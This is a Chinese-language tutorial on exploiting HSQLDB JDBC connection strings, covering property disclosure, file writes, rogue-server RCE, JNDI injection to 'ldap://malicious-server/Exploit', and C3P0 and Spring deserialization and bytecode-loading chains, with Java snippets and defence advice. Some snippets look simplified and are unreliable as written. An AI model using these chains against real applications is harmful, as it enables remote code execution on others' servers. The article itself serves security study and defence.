基于 hsqldb造成的 jdbc各种利用手法
字数 1746 2025-09-23 19:27:46
基于HSQLDB的JDBC攻击利用手法详解
前言
HSQLDB(HyperSQL Database)是一个轻量级的关系型数据库,支持JDBC连接。在特定配置下,HSQLDB的JDBC连接字符串可能被恶意利用,导致信息泄露、文件写入、甚至远程代码执行(RCE)。本文详细分析基于HSQLDB的JDBC攻击利用手法。
1. 读取敏感信息
漏洞原理
HSQLDB的JDBC URL解析支持${}语法,用于动态获取系统属性。攻击者可通过构造包含${property}的URL,使服务器调用System.getProperty()读取敏感信息。
测试代码
// 示例:通过JDBC URL读取Java版本
String url = "jdbc:hsqldb:mem:test;${java.version}";
Connection conn = DriverManager.getConnection(url);
利用效果
- 服务器解析URL时,会执行
System.getProperty("java.version"),返回Java版本信息。 - 可读取其他系统属性(如
user.home、os.name等)。
调试分析
- 解析URL时,HSQLDB会调用
PropertyExpander.expand()处理${}占位符。 - 内部通过
System.getProperty()获取实际值,导致信息泄露。
2. 写入文件
文件模式特性
HSQLDB在文件模式(File Mode)下会生成以下文件:
.script:存储表结构和数据的SQL语句。.log:事务日志。.properties:数据库配置。.data(可选):二进制表数据。
利用方法
通过JDBC URL指定文件路径,强制HSQLDB生成文件:
String url = "jdbc:hsqldb:file:/path/to/malicious_db;";
Connection conn = DriverManager.getConnection(url);
敏感信息泄露
.script文件中可能包含数据库用户密码(哈希加密形式)。- 攻击者可获取哈希并尝试碰撞破解。
3. 命令执行
前提条件
- 攻击者需伪造恶意HSQLDB服务端。
- 目标应用使用可控的JDBC URL连接恶意服务。
利用方法
- 启动恶意HSQLDB服务端(如使用工具
hsqldb_rogue_server)。 - 构造JDBC URL指向恶意服务:
String url = "jdbc:hsqldb:hsql://malicious-server:9001/test"; Connection conn = DriverManager.getConnection(url); - 恶意服务端可响应恶意Payload,触发静态方法调用。
限制
- 仅能调用静态方法(如
java.lang.Runtime.getRuntime().exec())。
4. JNDI注入
利用条件
- 环境中存在JNDI依赖(如
javax.naming.InitialContext)。 - 可调用静态方法
InitialContext.doLookup()。
攻击步骤
- 启动恶意JNDI服务(如使用工具
marshalsec)。 - 通过HSQLDB触发JNDI查找:
// 示例:调用JNDI lookup String url = "jdbc:hsqldb:mem:test;{call javax.naming.InitialContext.doLookup('ldap://malicious-server/Exploit')}"; Connection conn = DriverManager.getConnection(url); - 目标服务器加载远程恶意类,触发RCE。
高版本JDK绕过
- JDK 11+需结合其他链(如Jackson反序列化)绕过JNDI限制。
5. 配合C3P0二次反序列化
利用条件
- 环境中存在C3P0依赖。
- 可通过
initConnectionSqls等字段传入序列化数据。
漏洞原理
- C3P0的
C3P0ImplUtils.fromByteArray()方法会反序列化字节数组。 - HSQLDB可触发该反序列化过程。
攻击步骤
- 生成恶意序列化Payload(如使用Jackson链)。
- 通过JDBC URL触发C3P0反序列化:
String url = "jdbc:hsqldb:mem:test;{call com.mchange.v2.c3p0.impl.C3P0ImplUtils.fromByteArray(<malicious_byte_array>)}"; Connection conn = DriverManager.getConnection(url); - 触发二次反序列化,执行RCE。
6. 加载字节码RCE
利用条件
- 环境中存在Spring AOP依赖(含
ReflectUtils类)。
攻击方法
- 调用
org.springframework.util.ReflectUtils的静态方法加载字节码:String url = "jdbc:hsqldb:mem:test;{call org.springframework.util.ReflectUtils.defineClass('MaliciousClass', <bytecode>, ClassLoader.getSystemClassLoader())}"; Connection conn = DriverManager.getConnection(url);
7. 二次反序列化(Spring)
利用条件
- 环境中存在Spring Core依赖。
攻击方法
- 调用
SerializationUtils.deserialize()反序列化数据:String url = "jdbc:hsqldb:mem:test;{call org.springframework.util.SerializationUtils.deserialize(<malicious_byte_array>)}"; Connection conn = DriverManager.getConnection(url);
防御建议
- 禁止动态JDBC URL:避免用户控制JDBC连接参数。
- 输入过滤:对JDBC URL中的
${}和{}进行转义或拦截。 - 依赖管理:移除不必要的依赖(如C3P0、Spring AOP)。
- 网络隔离:限制数据库服务出网流量。
参考
- HSQLDB JDBC攻击原理解析
- 工具:
hsqldb_rogue_server、marshalsec
免责声明:本文仅用于安全研究目的,请勿用于非法用途。